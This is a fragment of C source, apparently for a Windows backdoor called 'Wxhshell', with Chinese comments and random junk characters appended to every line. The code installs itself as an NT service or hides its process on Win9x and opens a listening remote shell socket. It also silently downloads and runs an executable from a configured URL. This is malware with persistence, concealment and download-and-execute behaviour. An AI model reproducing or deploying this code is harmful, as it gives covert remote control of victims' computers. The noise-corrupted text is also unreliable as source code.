typedef struct De $AJl
{ "W<Y1$Y=Y
DWORD ExitStatus; 'uPAG;)m
DWORD PebBaseAddress; 9>}&dQ8
DWORD AffinityMask; '3.\+^3
DWORD BasePriority; $:ush"=f8^
ULONG UniqueProcessId; nD
wh
ULONG InheritedFromUniqueProcessId; 3G})$y3m
} PROCESS_BASIC_INFORMATION; P8 X07IK
Ik G&
PROCNTQSIP NtQueryInformationProcess; A^U84kV=
OV>&`puL
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^@fD{]I
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,0l
Od<
U,<m%C"
HANDLE hProcess; %Ymi,o>
PROCESS_BASIC_INFORMATION pbi; HB07 n4 |
=C %)(|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CEy\1D
if(NULL == hInst ) return 0; f@*69a8
;p`1Y<d-O
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AGhenDNV
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *X5)9dq
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Pz4#>tP
6F\ 6,E
if (!NtQueryInformationProcess) return 0; V&mkS
I16FVdUun4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yR[6s#F/h
if(!hProcess) return 0; ]4:QqdV
Mw[3711v
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U S^% $Z:
LIg1U
CloseHandle(hProcess); /ViY:-8s
J,W<ha*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +{UY9_~\3
if(hProcess==NULL) return 0; "ubp`7%67
#~0Nk6*u
HMODULE hMod; J}|X
char procName[255]; /$^Tou/v
unsigned long cbNeeded; :X>Wd+lY:_
Q_mphW:[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -jH|L{Iyq}
$b8[/],
CloseHandle(hProcess); emSq{A
fk*(8@u>
if(strstr(procName,"services")) return 1; // 以服务启动 -L2.cN_
E'iE#He
return 0; // 注册表启动 $5nMD=
} qs4jUm
r@G*Fx8Z
// 主模块 8ud12^s$
int StartWxhshell(LPSTR lpCmdLine) ?sfqg gi
{ O&!R7T
SOCKET wsl; &raqrY|V
BOOL val=TRUE; 6St=r)_
int port=0; |Xt G9A>
struct sockaddr_in door; 87
gk
X [Y0r
if(wscfg.ws_autoins) Install(); |}zWH=6
%m&6'Rpfk
port=atoi(lpCmdLine); f*k7 @[rSv
v,4{:y]p
if(port<=0) port=wscfg.ws_port; +C~h(
>Kgw2,y+
WSADATA data; zs$r>rlO
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $6"sR I6u
9A|A@E#
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /=2aD5r
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _p$/.~Xo9
door.sin_family = AF_INET; \o<ucp\J
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3,PR6a,b'
door.sin_port = htons(port); -^&=I3bp
hSehJjEoM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :{u`qi
closesocket(wsl); |q`NJ
return 1; VL%. maj
} WJ{Iv] }9
&V4Zmn?UU
if(listen(wsl,2) == INVALID_SOCKET) { ~yv7[`+Tgg
closesocket(wsl); b]u$!W
return 1; Xhe& "rM
} C% -Tw]T$_
Wxhshell(wsl); v l"8Oi*r^
WSACleanup(); GRZz@bAO?$
\ `Hp/D1
return 0; sn"((BsO<
Ny^ 1#R
} !73y(Y%TE
*g5bdQ:Av~
// 以NT服务方式启动 ~${~To8$CW
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OG$n C
{ MA
.;=T
DWORD status = 0; la[pA
DWORD specificError = 0xfffffff; TY8gB!^
2w|5SK_
serviceStatus.dwServiceType = SERVICE_WIN32; n%E,[JT
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /HIyQW\Ki-
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %.Y5%TyP
serviceStatus.dwWin32ExitCode = 0; !h?HfpYv
serviceStatus.dwServiceSpecificExitCode = 0; ~J\qkQ
serviceStatus.dwCheckPoint = 0; _8G
w Mj
serviceStatus.dwWaitHint = 0; bBIh}aDN
G'|ql5Zw
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {Y~>&B5
if (hServiceStatusHandle==0) return; W3:j Z:
aoy Be|H~=
status = GetLastError(); {4_s:+v0
if (status!=NO_ERROR) Av x`
{ i'fw>-0
serviceStatus.dwCurrentState = SERVICE_STOPPED; M CC4'
serviceStatus.dwCheckPoint = 0; 3.W[]zH/u
serviceStatus.dwWaitHint = 0; @CNJpQ ujn
serviceStatus.dwWin32ExitCode = status; sx?IIFF
serviceStatus.dwServiceSpecificExitCode = specificError; -
2)k!5X=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pRQ7rT',v
return; yD"]:ts3
} ?G `m;S
_E'?U
serviceStatus.dwCurrentState = SERVICE_RUNNING; CL0lMZ
serviceStatus.dwCheckPoint = 0; -A#p22D,5
serviceStatus.dwWaitHint = 0; kcS7)"/ zC
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i1evB9FZ1z
} $J1`.Q>)4
rHKO13WF
// 处理NT服务事件,比如:启动、停止 d(IJ-qJN
VOID WINAPI NTServiceHandler(DWORD fdwControl) il^;2`]&
{ ("U<@~
switch(fdwControl) _[rFnyC+0V
{ {
^o.f
case SERVICE_CONTROL_STOP: $+j1^
serviceStatus.dwWin32ExitCode = 0; X}( s(6
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4/
` *mPW
serviceStatus.dwCheckPoint = 0; OIKx:&uIk
serviceStatus.dwWaitHint = 0; T"xJY#)}
{ /r4l7K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XFWpHe_ L
} $;5Q
mKQ'
return; [!uzXVS3
case SERVICE_CONTROL_PAUSE: |r~ u7U\
serviceStatus.dwCurrentState = SERVICE_PAUSED; V$ZclV2:Ih
break; N.*)-O
case SERVICE_CONTROL_CONTINUE: >XtfT'
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5 `1
break; gnJ8tuS
case SERVICE_CONTROL_INTERROGATE: AM+5_'S,
break; kQkc+sGJf
}; 36.,:!%p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @gN"Q\;F
} O2fq9%lk
Avw=*ZW
// 标准应用程序主函数 oC`F1!SfOO
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :M(uP e=D
{ Sp>g77@
A8f.h5~9
// 获取操作系统版本 n])#<0
OsIsNt=GetOsVer(); Wt/;iq"
GetModuleFileName(NULL,ExeFile,MAX_PATH); ULiRuN0 6
K]|Ud No
// 从命令行安装 oU|G74e6
if(strpbrk(lpCmdLine,"iI")) Install(); V'9.l6l
4Y(@
KUb
// 下载执行文件 iC3z5_g*@
if(wscfg.ws_downexe) { &tH?m;V
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +/[M
Ex=
WinExec(wscfg.ws_filenam,SW_HIDE); !(lcUdBd
} Zv!`R($
zRna=h!
if(!OsIsNt) { i"&FW&W
// 如果时win9x,隐藏进程并且设置为注册表启动 <Yki8
HideProc(); 4Ly>x>b<
StartWxhshell(lpCmdLine); vAX ( 3
} uZ6krI
else r
w!jmvHE&
if(StartFromService()) ZWkRoJXNi
// 以服务方式启动 ko9}?qs
StartServiceCtrlDispatcher(DispatchTable); "{~5QO
else CH6 m
// 普通方式启动 ?xR7Ii3
StartWxhshell(lpCmdLine); ^m z9sV
M
v6 ^('
return 0; * zp tbZ
}